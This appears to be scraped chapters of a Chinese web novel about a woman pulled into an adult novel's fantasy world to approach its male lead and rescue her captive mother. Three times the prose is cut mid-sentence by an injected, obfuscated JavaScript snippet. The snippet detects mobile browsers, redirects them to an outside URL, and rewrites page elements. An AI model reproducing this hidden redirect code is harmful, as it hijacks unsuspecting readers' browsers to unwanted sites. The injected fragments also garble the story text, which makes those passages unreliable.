《我在限制文当系统》 1. 1 眼睛一闭一睁,虞戏时来到了一个陌生的世界。 上一秒,还在庙里拜菩萨,脑袋再抬起来时,菩萨变了个样儿——成了一尊黑雕像。 雕像男子模样,栩栩如生,脸上覆着一层黑纱,露出一双漂亮的眼睛。这黑纱绕过祂的面容懒懒地搭在肩头,如有灵气,随风隐隐浮动。 虞戏时仓皇起身。 这是磕头磕哪儿来了? 太虔诚所以让她来见菩提老祖了这是? 脑中忽然响起一道声音,男女不辨,颇具威势: 【您好,穿越者。我是连接所有穿越系统的服务器终端,也可以称我为主脑。】 穿。越。 真的假的?本人也没死啊,咋穿越了?不能是磕头把自己磕没了吧? 虞戏时不可置信地低头看自己的手掌,手掌熟悉的肉乎,虎口处还有一点小痣。 是自己的身体。没瘦,有点失落。而且这主脑贴心地帮她换上了一身古代的装束。 等等,主脑? 一般不都是系统么?怎么出来个主脑? 【你所穿越而来的这个世界,原是一本限制级小说——《无妄书》。】 在做梦。如果预料得没错,还得是春梦。“...什么是‘限制级’?” 【就是只能躲在被子里偷偷看的羞羞小说。】 “……”虞戏时默了默,看来没错了,只是她还有点不死心,试图挑战所谓“限制级”的其他可能,“我不偷偷看,我站街上念出来不行吗?” 脑子里出现一阵乱码电流声。 乱码还是乱骂,不确定。 【你有这癖好,也随你。】片晌,主脑说,【重点是,这本小说的男主好像觉醒了自我意识,一心搞事业,并不近女色。这就导致了这个世界的崩坏,现在需要你来修复原本的剧情。】 虞戏时迟疑。 要说她这一辈子,活得实在是有些憋屈。 长相普通,书读不好,没有一技之长,身子骨还弱,常觉前路灰蒙蒙的望不到头。家里头,妈妈照顾着得了阿尔兹海默症的外婆,与父亲是无休止地争吵,在重压之下,妈妈的精神也出现了问题。 六年后,外婆去世,妈妈察觉到自己开始忘东忘西,有了阿尔兹海默症的前兆,选择终结了自己的生命。 她知道,妈妈是因为自己吃过照顾阿尔兹海默症病人的苦,不愿意她也过上这样的生活。 可妈妈怎么就没有想过,这会成为她心中一辈子无法愈合的伤口。 无论过去多少年,虞戏时都不敢细细回想那个朴素的身影。老照片一触碰,钝刀就在心口上慢慢磨,痛到喘不过来气,哭不出声音。 【你想念妈妈吗?】主脑忽然问。 “想。” 【那你躲进庙里,撩开窗帘往外看看。】主脑说。 虞戏时心如擂鼓,听话地跑进庙中,庙门旁就是一扇窗,由一块黑色绸布遮住,虞戏时倚在窗边,掀起一点帘子。 不多时,外头响起了一阵急急的马蹄声。 十二匹骏马开路,马上坐着身着银甲的军士,腰间别着银白剑鞘。他们只是路过了庙前,并未停留。后头跟着长长的囚车队伍,黑铁打造的牢笼上浮动着某种暗红符咒,随着颠簸明灭。里头关着各色各样的人——有穿和押解军队不同的甲胄的,有衣衫褴褛的,应该是敌军俘虏和一些犯人。 看来,这并非是古代的某个朝代,而是架空的奇幻世界。 虞戏时期许地望着,眼中不知觉已蓄了泪,长长的囚车队伍行进得缓慢,她不敢擦眼睛,怕错过任何一张脸。 直到一只半透明的莹蝶扑扇着翅膀从她眼前飞过,虞戏时眼帘里闯进一个熟悉的人影—— 那妇人衣衫褴褛,满脸疑惑与惊慌,坐在囚车里,双手戴着镣铐,紧攥成拳张望着周遭的一切。 “妈妈——” 虞戏时几乎立马就要奔上前去,想要将那张脸看个清晰,生怕这次错过了,又是永别。 可她方迈出两步,稍一转念,主脑让她躲在这里看,定有缘由。 至少这训练有素的军队不像是能让她随意接近的。 “我要怎么做。”虞戏时一瞬不瞬地望着母亲,道。 【我让你的妈妈来到了你这个世界,能不能和她幸福地生活在这里,就看你能不能完成我交给你的任务。】 “什么任务?” 【现在是长宁666年。男主景饲生一心搞事业,如今位极人臣,这本小说已经过了一半的进度。你的第一个任务,就是接近景饲生。只是介于你们之间的身份差距,这个任务对于你来说有些过于艰巨。但不用担心,我会送你回到小说的最初——也就是长宁655年。那个时候,景饲生还是个连下一餐饭都没着落的小人物。】 【但是,我能力有限,并不能让这个世界或者说这本小说真的重新开始,所以,在完成任务后,你还会回到现在。】 “也就是说,你会把我送回到这个世界的11年前,等我完成了第一个任务,再回到现在的长宁666年。”虞戏时琢磨着,“那么我在‘11年前’做的一切,会发生蝴蝶效应,改变现在的事情走向吗?” 【会的。比如说你在655年扇了某个人一巴掌,很有可能穿越回666年时,这个人关键时刻出现给你一刀。】 “有这么记仇吗……”虞戏时莫名流了些汗,“你这个任务说得笼统了些,何谓‘接近’?” 【至少,让他记住你的名字吧。对了,补充一点——由于延迟,原著剧情将会晚些时候输送到你的脑海中,现在不能确定具体时间。只不过原著内容也并不重要,能给你阅读的部分也不能为你提供什么‘金手指’,别想着能靠此提前得知要发生什么。】 什么? 那给她原著的意义何在? 就是她走在路上,不知道哪一刻忽然会有一篇限制文在她脑子里做阅读朗诵? “我知道了。”起码这主脑还有点良心,提前给她作了预警。 【祝您好运,再见。】 主脑的声音消失后,她方才跪拜的那尊神像忽然动弹了起来,走下神台,生出血肉之躯,脸上的黑纱滑落,露出一张优越的脸。 虽知道这是一个不同寻常的古代世界,但亲眼看见这么离奇的一幕还是有些冲击感,虞戏时也不知是紧张过头还是冷静过头了,两腿像嵌在了地上:“你——” 他目光冷淡嫌弃地扫了一眼虞戏时,侧身站在她身前:“准备好了吗?” “嗯。准备好了。”虞戏时说。 “我是时间之神离惘,奉主神之命,送你回到初时。” 不待虞戏时说话,庙外檐角悬着的风铃又急急地响了起来,周遭的一切开始模糊扭曲,虞戏时头昏眼花,本能地扣住了窗沿,闭上了眼睛。 看得出来,这离惘像是烦躁的打工人,急着完成任务,他自己连话都没说完,手上就已经使出了逆转时空的能力:“你要找的景饲生,长得——” 时空漩涡已经开启,虞戏时等了半天没再听见他的声音,于是她嚷嚷道:“不是,你说清楚,景饲生长啥样——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694620|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 反正不长眼前这人这样。 虞戏时看着手上扣住的窗沿变成了一个人腿,触电般松开了手。 眼前的男人脏得跟泥里滚过似的,破布条勉强蔽体。见虞戏时松了手,他眼皮都懒得抬,把肩上补丁摞补丁的包袱往上提了提,扭头就走。 她在一条大道边,周遭树木树皮凋落,地上散着枯黄的树叶。有白骨与尸体,被苍蝇围绕,弃在路边。许多衣衫褴褛的百姓三三两两地往一个方向赶去,小孩或老人喊饿的声音不绝于耳。 这便是这本小说最初的时候? 虞戏时四下张望,突然听见有人嘀咕:“熙王重病,到时柳城会不会也不安稳了?” “说不好。嗣君尚在襁褓,若是熙王登仙,嗣君即位,聂王和伏王岂会放过这个机会?这样的战乱,没个头了。” “哎,造孽。” 流民间传来阵阵叹气声。而离虞戏时不远处,一个男人将饼撕开,给身旁牵孩子的妇人一大半,“没事,到了柳城再说。左右现在柳城是最安稳的地方,每日有官兵与富户施粥,战火也还未殃及那里。”说着,男人往包裹里看了看,“咱们还剩下一些饼,等饼吃完了,我再想办法弄些吃的来。” “你小声些。”妇人瞪他。 虞戏时想上前去问路,只是古时重礼,问路必先施礼,称尊乃可启齿。至于这礼的门道规制恐怕成百上千条也叙述不清。她不知这世界礼法如何,看来如今只可当无礼之辈了。犹豫一阵后,在离这家人尚有些距离的地方微扬声音道:“借问一声……” 两人闻声向她看来,她这才走近,行了一惯见的万福礼:“我摔坏脑子记不清事了。请问这柳城......真能活命?” 妇人与她丈夫对视一眼,道:“你既不晓得,怎会走这条道?” 虞戏时道:“我与同伴走散,不久前摔了脑子。现在好多事都记不得了,我甚至不知道为什么会是一片惨象。” 男人上前一步,护在妇人和小孩身前,通身气度瞧起来不似寻常武夫。只听他道,“如今三王动起刀兵,打得没完没了。我们这一批流民大多是从伏国逃出来的,往熙国的柳城。”男人又打量虞戏时一番,“你既在此处,应当也是难民,只是身上怎么连个包袱都没有……” 虞戏时低头看了看,自己身上的确没有包袱,看来挑战不只是任务,还得考虑等会吃什么,又能在哪里睡觉才能确保安全。 既然离惘把她扔在这里,应该说明离景饲生不远。 妇人倒是替她找了个借口,“莫不是被朋友坑害了?使你摔坏了脑子,然后抢走了你的包袱……” 虞戏时讪笑称不知。 “如果你的朋友也是从伏州出来的,应该离你不远,就在附近的流民中,你可以去找找。”男人道。 虞戏时行礼道谢,跟着流民队伍走了一阵。天气阴寒,怕是深秋,天色也要暗下来了,找景饲生的同时,要随时防备有起了歹心的流民对她造成危险。 正这么想着,最后一点日光也隐在了山头之后。 眼下应该先找个安全点的地方度过今晚,毕竟这种情况白日里都净是凶险,何况入了夜。 而且虞戏时也委实累了。 打定了决心,眼前却突然出现一串蓝色的字符。 【任务倒计时:3时00分00秒。任务若失败,将回到21世纪。】 刚打算靠着树坐下的虞戏时攥紧了手中的木棍一下子站起身来。 只剩三个小时了?! 不行,妈妈在这里,她不想回去。 2. 2 景饲生会在哪里? 虞戏时思衬着。 主脑说过,景饲生如今是个连下一餐饭都没着落的小人物。她环视周围,这些流民虽都形容凄惨,但景饲生身为男主,处境定要比他们更艰难,才符合男主的成长线路;而三个小时的时间限制,说明景饲生离她很近。近,却不在这群人之中。 另有一点,作为女频限制文大男主,景饲生必然拥有顶级的相貌,很容易给人留下深刻印象。 虞戏时掂了掂手里的木棍,目光落向跟她说过话的那一家人。乱世之中,能对她这样一个独行、且瞧着推一把就倒地上起不来的人存有善意,当不会是暴徒之流。 只见男人打呼噜睡得死沉,妇人扇了他一巴掌后赶紧假装睡着了,男人惊醒与孩子大眼瞪小眼。片晌,男人发现妇人在装睡,一家人笑闹起来。 瞧见这其乐融融的景象,虞戏时扔了手里的棍子,向他们走去。 见虞戏时靠近,妇人立刻警觉地护紧孩子坐直:“姑娘,怎么了?” “敢烦,伏州逃出来的流民都在这里了?——其实是这样的,我那个朋友跟我一样,是从伏州逃出来的。他生得十分俊俏,只是命有些苦。我看大伙儿还能凑合过段时间,可他眼下怕是连口吃的都弄不到。” 见妇人未完全放下防备,虞戏时乖巧地离她远了些,温声问:“夫人可知这般可怜的人会去哪里寻条活路?” 妇人的手无意识地攥紧孩子衣侧,沉默片晌,道:“我们这群人,走的是安全些的官道。还有一条野径,在西边,树林密布,十分凶险,不仅有拦路的土匪,还有饥饿的凶兽。但是很多实在饿得没东西吃的人,会往那条路去走。” “野径?” “是啊。左右要死,如果能打过野林子里的一两头凶兽,饭食就有着落了。而且兽皮还可以用来做衣裳,如今是深秋,很快就要入冬了。” 如果凶兽有这么容易被猎得,就不会这么多人选择走官道了。 看来景饲生应当就在那野林子中。 “多谢,倘若这一程有收获,我会回来寻你们,给你们一些吃食作为谢礼。”她现在实在是有些窘迫,只能做出这一个不靠谱的承诺。 妇人摇摇头,有些干裂的手从裤上缝着的大口袋里摸出几根草绳,“小道阴湿,只怕不好赶路,用绳子系着裤腿,方便行走。” 虞戏时看着她掌心里蜷曲的麻绳。 来到这个异世界,这家人是第一个给她不少善意的人,她也不由想为对方带来些温暖。可她能做什么呢? 妇人瞧清她神色,笑说,“收下吧。赶紧去寻你的朋友。——喏,往那边去,一直走就能撞见片老林子。” “谢谢。不知未来如何寻得你们?”虞戏时双手接过绳子。 “若有缘,会再见的。” - 时间流逝,虞戏时心跳愈快。她顺着妇人指的方位跑了许久,眼下果然摸进了林子里。 【任务倒计时——1:00:00】 她生出些虚汗,将裤腿从荆棘上扯出,小腿露出的皮肤上鲜血淋漓,被带着湿气的草抚过,伤口便像浸了酸水般疼。 她刚想查看一下伤口,眼前月光忽然暗了下来。 树杈上倒吊着个斗篷怪物,猫耳人脸上裂开血盆大口,“嗬嗬”怪笑了两声,背上骨翅扑棱,便朝她急袭而来—— 虞戏时惊惧后退,后背“咚”地撞上树干,腥风已然扑面! 就在那张大嘴要将她吞食入腹时,那怪物忽然“嗷呜”一声,变成小猫大小,骨碌碌地滚进丛里直哼唧。 一匹银鬃马扬起前蹄飞跃至半空,马背上的少年挽弓搭箭,电光箭矢“嗖”地钉在怪物脚边。 在他身后,还有几名护卫,从背后抽出剑来,朝着另一个方向飞去。 “既命司办事,要活命就避让!”一名护卫厉声道。 银色马驹掠过虞戏时身前,马上少年睨了虞戏时一眼,眼角血痕连接至腮帮子,就这一眼,一把钉锤擦着他脑后砸进地里。他飞快收回目光,与几个护卫一同,往钉锤飞来的方向追去。 高冷俊俏向来是男主性格的标配,这人莫不是景饲生? 只是这人并不像下一餐饭都没着落啊? 不管了。说不定他只是表面光鲜亮丽,背后指不定饿成什么样!且先跟他一段路! 少年离开得很快,虞戏时拿起一根木棍重重击晕了变小的怪物,便抽出他方才使用的箭矢,追了上去。 从树林中跃出一队黑衣人,与少年一行打了起来。 玄黑的剑气与银白长枪相撞,这一片登时明明灭灭,如雷霆闪烁。 少年身姿轻逸,在刺客间穿梭,长枪划过两名刺客的喉咙后,又翻身躲过身后的袭击,旋身抛出手中的长枪将第三名刺客钉在高树上。而后反身掐住偷袭之人的喉咙,手背青筋凸现,“咔嚓”一声,偷袭之人脖颈断裂。 好在少年是在半空与人用灵力打斗,能让虞戏时锁定他的方位,一路追去。只是追着追着,她忽然踩到了一个软软的东西,听见一声痛呼。 她没有放在心上,战局混乱,是哪名刺客或是那少年的护卫发出的痛呼声也不一定。 好像有人有意帮她一般,一只骡子慢悠悠地朝她走来,她心底疑惑,这凶兽横行的地界骡子还能逛街?只是当务之急是完成任务,于是虞戏时一把牵过骡子,翻身上骡,说了一句:“驾——” 骡子无动于衷。 草丛里传来一声虚弱又无语的声音:“这是骡子不是马…” 她不知道是从哪儿来的嘲笑她的流民,她也并不在意。想起曾经去过马场,驯马师说过这一类动物训练起来都有大致相同的特性。 首先要轻拉或抖动缰绳示意起步,小腿轻夹骡腹,不可用力。而后略微前倾可传递“前进”信号,动作需自然,避免突然改变重心。 至于类似“驾——”的口令,动物需通过训练才能听懂这项指令,这并不是最重要的。 在虞戏时的驱使下,骡子果然跑了起来。 而既命司的几位官爷包括那名疑似景饲生的少年似乎已经完成了使命,只见银色马驹飞向半空,少年翻身上马。任务倒计时又在虞戏时眼前闪现:00:20:00 “我叫虞戏时,你要记得我!!”虞戏时驱着骡子加快速度从他身下掠过,大喊一声。 “?”少年终于又望她的方向投来一眼,满脸疑惑,在空中策马往反方向离去。 虞戏时不会停骡子,而骡子也受到了惊吓,发了疯狂奔起来。虞戏时被颠得在鞍座上直打滑。她两腿死死夹住骡腹,手指抠进鬃毛里,几乎要被甩出去。 【任务完成,正在返回长宁666年】 主脑声音响起时,她额头不知磕到了骡子的什么地方,疼得带着哭腔喊:“快传快传!小命休矣!”话音未落,整个人已被甩得斜挂在骡子侧腹,只剩右手还揪着半绺鬃毛。 远处,方才被她踩到手的景饲生从草丛里艰难地爬起身来,满脸脏污,手上尽是血渍,他低声骂了一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694621|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糙。我的骡。” 他踉踉跄跄走了几步,“什么我叫虞什么,你要记住我。这是什么青春疼痛文学?” 时空漩涡开启,周遭一切开始扭曲变幻。而除了虞戏时外,所有人似乎都看不见这层时空之力,只自顾自地做着手头上的事。 - <长宁666年> 虞戏时猛然睁眼,还保持着穿梭时间之前的姿势——手紧扣着窗沿,看着长长的囚车队伍缓慢地从神庙外驶过。 只是手心里却多出了一物——她捡到的“景饲生”的箭矢。 她尚且惊魂未定,只是救母一事刻不容缓。不知道这支箭能不能帮她与“景饲生”攀攀关系,救出母亲?她凝眉思索了一阵,快速地追上了囚车。 只是她尚未接近军队,就有两名官兵现行从天而降,拦住了她的去路。 “退后!”官兵嗓音浑厚,长/枪交叠在她身前,睨着她喝道。 原来囚车之上,还有隐匿了身形的官兵在半空中押送。 虞戏时跪地:“军爷容禀,我娘在囚车之中……” “滚远点。再纠缠同罪论处!”官兵斥责一句,就要离去。 “等等。”虞戏时双手捧上箭矢,“这是景大人的东西……” 身前官兵犹豫一瞬,接过她的箭矢来看。 其中一名对另一名同伴道:“是既命司的东西,只是从未见过。” 同伴点头:“只有高官与兵卒用的武器不同,只是景大人从未…” “嘘——” 官兵打断了同伴透露景大人的信息,便对虞戏时道:“谅你也不敢胡乱和景大人攀关系,且待我俩问过景大人意思。” 虞戏时忙点头,两名官兵便押着她飞跃至半空,快速追上囚车队伍前头的车驾。 她被灌了一肚子风,魂已经不知道飞往何处。远远地,她看见“景饲生”坐在马上,随行在一辆车驾边。 不安感油然而生。 如今的景饲生一人之下万人之上,按理来说,他应该才是坐在车驾里的那个,可眼下看来,更像是保护着车驾里的人。 除非车驾里的人是王帝。 王帝亲押囚犯?不论是不是奇幻世界,也太不合常理了些。 官兵执箭疾趋至“景饲生”马旁,而后将箭矢双手呈上,垂头禀报了事情来龙去脉。 “景饲生”接过箭矢,认真看了一阵,看来是认得这箭矢。不多时,他转头看向玄金车驾,通身的威风在和车驾里的人说话时变得驯如家犬。 虞戏时凝神观察着,吓飞了的魂在此时追上她,却如同她的一颗心迟迟不能落定。 车驾的玄色窗幔被一只骨节分明的手挑起,日光斜斜地切进去,勾勒出一道模糊的轮廓。那人微微倾身,风轻云淡地一瞥,目光掠过她,寒潭落羽般,不起波澜。片晌,便向“景饲生”摇了摇头,窗幔垂落,像是从未掀起过。 那支箭矢瞬间在“景饲生”掌心化为齑粉,“加速前进!” 态度已经十分明显。 押着她的官兵粗暴地将她掼在地上。 “还真敢胡乱攀关系!”官兵厉声斥道。 3. 3 官兵气势凶悍,她一个21世纪良民哪受过这威慑,并未马上给出反应。见她没有再反抗的意思,官兵归队前甩下一句:“别再靠近,不然当作刺客处置!” 爽,好爽。 这种被轻视又被粗暴对待的感觉,真是爽。 她知道,自己虽回到十一年前去完成任务,可彼时的“景饲生”对她并无特别关注。十一年光阴横亘其间,景饲生怎可能记住她,凭借一支没来由的箭矢,就放了她母亲。 她方才不过是探探虚实。 只是莫名地,虞戏时又想到车驾里的那名男子。 按理来说,景饲生身为男主,应该拥有在这个世界里最顶级的相貌,可车驾中的男子,虽只是从窗侧探出来一眼,就连轮廓都只能瞧得个大致,但气质竟比“景饲生”瞧来还要卓然许多。 难道车驾里的才是真的景饲生? 可是当时主脑分明说“任务完成”,倘若骑在银白马驹上的不是男主,主脑怎会判定成功? 这关窍虞戏时暂时想不通,只不过如今看来,要救出母亲,还得再回到一次过去,让景饲生能牢牢记住她,甚至欠她一个大人情是最好。 可是现在主脑没有了动静。 虞戏时扭扭被摔疼了的手腕,远远地跟着囚车。 山路坎坷,直到途经刻着“无妄”二字的青苔石碑后,才渐次开阔。 山下碧海蓝天,市集喧嚣中飘来陌生食物的香气。囚车队伍经过时百姓纷纷避让,不敢冲撞。 虞戏时夹在拥挤人群中,装作好奇询问身侧老者:“这是怎么回事?” “姑娘初到王都?”布衣老丈打量她粗麻衣裳。 原来这是王都,天子脚下。 “啊,是,来投奔亲戚。”虞戏时说。 老丈抬抬下颌道:“景大人携既命司清剿逆党残部。” “逆党残部?!”母亲怎会被当成逆党残部被擒获?! 还是说,只是穿越或者说重生在了囚车之中? “可不是么?”老丈默认虞戏时知道历史,所以没再过多解释。 虞戏时换上了天真的神情:“这景大人怎么这么大阵仗?官位很高么?逆党残部又都是些什么人?” 老丈这才又纳罕地打量她一阵:“你……” 虞戏时无辜的眨眨眼:“怎么了?” “也罢。看你年纪还小,应该记不得以前的事。数十年前,九州三分,百姓过的那日子苦不堪言,你根本想象不到那种惨状。”老丈摇头感慨,“十一年前,熙王骤逝,幼主临朝,谁都以为熙国要亡。偏生景大人横空出世,十年间辅佐幼主一统九州。啧啧啧,只用十年啊。”他忽然压低声音,“但伏王残部仍在暗处,据说囚车里有个了不得的大人物。” 虞戏时愣愣听着。 她记得听当时的流民说过,熙王病重,只是当时熙王还未过世,的确有一幼子,尚在襁褓之中。 至于这什么囚车里的大人物,她操心不上。她只关心怎么救出母亲。 身旁又有人接那老丈的话,“可不是了不得么?那谋士能文能武,一人可抵万军。只是你看,所有囚车上都有压制灵力的符咒,莫不是景大人和既命司根本没分辨出来哪个才是正主?” “如果不能永绝后患,只怕又有祸乱横生。” “我瞅着都是些高阶符咒,每个囚车上附了四张,这可是大手笔!可能真像这位仁兄所说,景大人和司主并不晓得哪个是真正的伏王谋士。” 一屠夫模样的壮汉手里还握着把油亮菜刀,说话时上下挥动着:“这简单!全杀了得了!反正都是逆贼余孽!” 虞戏时的心悬了起来。 事关母亲,她真是一点玩笑开不得。 只是向来流行冷面冷心的男主,倘若景饲生也是这般,岂非真有可能遭殃? “若皆是逆贼,何必大费周章押解?”老丈捋须沉吟,“只怕囚车里有许多都是无辜百姓,而那谋士就藏在人堆里……” 这一圈的气氛随着老丈的语气陡然阴森起来。 虞戏时冷汗涔涔。 老丈注意到虞戏时脸色苍白,语气幽深道:“你说,那两位会不会把这些无辜百姓都杀了?” - “都杀了吧。” 队伍前头,骑着马的既命司司主寒致说,“早知景大人要让我定,这些人的命也不必拖到这时候。” 说着,寒致忽然感觉凉飕飕的。他往身侧车驾的方向看去,就见窗帷不知何时已经不见,偌大的车驾中,景饲生单手支着茶桌,有些烦躁地睨过来。 寒致攥紧缰绳,试探道:“您的意思是?” 景饲生低眼,看着手旁的册子,懒得掰扯般,“罢了,晚些等我歇歇,再亲审这些犯人。” 寒致知他疲累,想为他分忧,于是仍在琢磨着,片晌,恍然大悟般:“噢,我懂了。难怪景大人连验明正身的逆党也不杀,全押回来,定是要审出那谋士的信息?” “不,那些逆党,是为了换个地方杀。” “换个地方杀?为何?”寒致不解。 “为何?”景饲生闪身到车窗边,半个身子探出去,玄色衣袖垂在车外,朝寒致勾勾手指。 寒致策马靠近了些,倾身听他说话。 景饲生轻声道:“因为…” 当寒致几乎要贴上车辕时,景饲生幻出个素色号筒来,贴着他耳朵喊道:“你鼻子连着肠子,除了呼吸就是拉,干啥都过不了脑子!——” - 这声斥骂在天际回响,吓得远处一众百姓都惊呼一声往后仰倒去。 敢如此嚣张地骂人的,这个队伍里不作第二人选。 虞戏时心道不妙,这景饲生如此凶狠残暴,娘亲恐怕要凶多吉少。 “你在盘算什么?”离惘的声音突兀响起。 她侧头看去,他半透明的身影正望向囚车的方向。百姓从他身体里穿行推挤,而他仿若空气。 虞戏时垂眼:“景饲生既未当场处决囚犯,不论是留待后用还是择日问斩,眼下都暂无性命之忧。若能佯装余党混入其中,既可接近母亲,又能伺机接触景饲生...” 毕竟作为平头百姓,要接近景饲生并和他有所互动的确困难。 离惘轻轻点头,片晌,脚尖挑起块石子,石子刚飞向囚车就被无形屏障击碎:“莫说近景饲生的身,便是靠近军阵,护军结界也能教你灰飞烟灭。” 虞戏时看着空中飘落的石屑,终于明白主脑所说的“困难”是何等程度——以她如今修为与身份,当真连对方衣角都触不到。 “我可以帮你。”离惘淡淡投来一眼。 “为什么?” “各取所需。” 话罢,他立时悬空而起,虞戏时也被一股力量带到半空。 底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694622|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下百姓对此异象浑不在意——在这灵力横行的世道,谁上天了都不稀奇。 只有方才说话的屠夫还问一句:“姑娘,窜天上去作甚?” 虞戏时心惊胆战,顾不得回答。只是想到救母亲一事,心神定了些:“你要如何帮我?” “达成你方才所愿。” 神力如春溪入怀,竟与经脉完美相融。她幻出面纱的刹那,身形已如离弦之箭射向囚车。 离惘看着她的方向,展开折扇挡住面容,叹了声“天真”。 “到底是何来的勇气。”叹罢,他摇了摇头。手上却掐了个诀,虞戏时越靠近马车,那股神力就越强大。 - 距离既命司已经不远,加上周围百姓人头攒动,所以车队速度已经慢了下来。景饲生本倚在窗旁垂头看书册,忽然略有所感般,抬头望天际看去。 一声嘶喊由远及近,待到那张牙舞爪的东西渐渐靠近时,才勉强辨认出这是个人,衣袂翻飞如断线纸鸢,明明杀气腾腾,却显出几分滑稽的狼狈, “景贼,拿命来——” 他听着这颤声厉喝,笑了一声,脸上散去了些烦躁。只是眼瞧着这女子身上的神力不是那么好对付,景饲生不敢过于懈怠,正欲自己出手将她制服,却见这女子明明叫着他的名字,可竟向寒致冲去,招式看似凶狠,实则破绽百出,歪歪斜斜。 寒致纵身跃起,银枪横架,与她交手十余回合,竟分不出胜负,景饲生来了些兴致,无声掠至车旁观战。 “景饲生,放人便饶你不死!”女子剑锋直指寒致咽喉。 景饲生心道:杀人都搞不清对象么…… 寒致自然没有向这女子说明谁才是景饲生的必要,傲慢道:“就凭你?” 忽然,那女子身体僵住。她脖颈僵硬地转向景饲生的方向,露出的一双眼睛惊慌骤现。 - 虞戏时不知道神力为何突然不受控制,强迫她不再攻击“景饲生”,而是面向车驾上的男子。 只见男子嘴角微微一勾,朝她笑了一下,只是眼神已骤然转冷。 他消失的瞬间,虞戏时只捕捉到一缕被劲风带起的发丝。回过神来时,那人已立在一步之遥,官服妥帖,纹丝未动,仿佛本就站在那里。 “想骗牢饭?” 虞戏时看着他,心神慌乱。他颇具掌控者的气场,那些总被冠以“狗血”之名的词汇,却能恰如其分地勾勒出他令人战栗又着迷的特质。 几乎要让虞戏时回想起,这是一本限制级小说。 可这样的特质,此时给虞戏时带来更多的是恐惧。她手中幻出匕首,对准他就要刺过去。神力却在此时忽然消散,她的手腕被男子击中,匕首脱手,被男子接住,反手抵在她的喉间。 风停,尘滞,叶悬。 时间忽然凝滞住。 【穿越者,您的下一个任务是:留在景饲生身边。】 【此任务仍会送您回到11年前,只是这一次,停留的时间会比较长。还请您珍惜自己的小命,毕竟此行非游戏,没有读档重来的机会。】 主脑的声音在脑海中响起,虞戏时看着眼前之人。 他剔透的眸中倒映着短刃的寒芒,本该冻结的时间里,那人眼底笑意竟似晃了晃。 虞戏时看着他,在他眼中杀意最浓时,时空漩涡开启。 周遭的一切开始扭曲模糊起来。 4. 留 “救命啊!” “救命啊!” 我还在骡子上!! ——<长宁655年>。 时空跳跃如存档读档一般,硬生生将她抛回骡背颠簸的瞬间。 虞戏时死死抱住骡颈,在狂奔中毛发四飞,面容扭曲。 蠢骡每每要撞上大树才急转避开,干裂的树皮擦破骡身,也勾破她的衣裳。 好几次骡蹄踏中怪石,险些栽倒。虞戏时惊魂未定地抬头,又一棵大树赫然眼前。 啊啊啊啊啊啊啊! 虽然吓得炸了毛,但求生的本能还是让她强撑着寻找自救之法。 她的手指颤抖着摸向发间的木簪,却下定不了决心——在现代连鱼都没杀过的人,此刻要杀一头正载着她跑的骡子。 虞戏时一咬牙,木簪狠狠刺入骡颈,她感到一阵温热的液体溅上手背。骡子吃痛狂躁,癫狂中竟分不清方向,横冲直撞地向山壁奔去。 “砰!” 在碰撞前的刹那,她灵巧地翻到骡腹左侧。剧烈的震荡中,她借着惯性滚落在地,耳畔是骡子垂死的嘶鸣。那畜生仍在胡乱踢踏,一只铁蹄擦着她的鬓角踏进泥土。她踉跄着抓起石块,却在看到骡子汩汩流血的伤口时僵住了动作。 骡子浑浊的眼睛里映出她苍白的脸,颈间的木簪还在随着喘息微微颤动。 她没能再下去手,丢掉了石头,拖着扭伤的脚踝躲到一旁的树下。 此时,一阵脚步声由远及近。 一个少年缓缓向她——应该说向那只骡子走去。骡子已经没了生息,他蹲在骡子身旁,布满血痕的手轻轻抚过骡颈,解缰绳的动作像是在对待多年的好友。虞戏时看见他手背上狰狞的伤口,混着泥浆凝成暗红的痂。 虞戏时意识到了什么,犹豫地向他走去。 少年感受到她的到来,手上不停地解着骡鞍。 看了他几秒,虞戏时道:“抱歉……” 少年手上动作微顿。 “这是你的骡子吧?”虞戏时蹲下身。 这骡子本就是虞戏时随手“借”来的,如今想来,确实不是野骡,毕竟有一套粗糙的装备在它身上。 少年扔下解开的鞍具,“方才怎么不给它一个痛快?” 原来他看见了她举石欲砸的一幕。 “下不去手。”虞戏时如实答道。 此刻她才看清少年模样——碎发凌乱,消瘦的脸上两道血痕,那双眼睛清亮异常,既无亡命之徒的狠厉,也无困兽的颓丧与死气。 此时棱角分明的脸将月光切割,明暗对峙现出惊心的美感。 有些熟悉。 “你这样的也敢来这儿找食?”少年从靴中抽出匕首。 虞戏时本能地仰身离他远了些,少年一眼未瞧她,只将匕首扎进骡身。 “我是来找人的。”虞戏时不知道他想做什么,慢慢挪回了身子,仍保持着警惕,以防这少年突然给她来一刀。 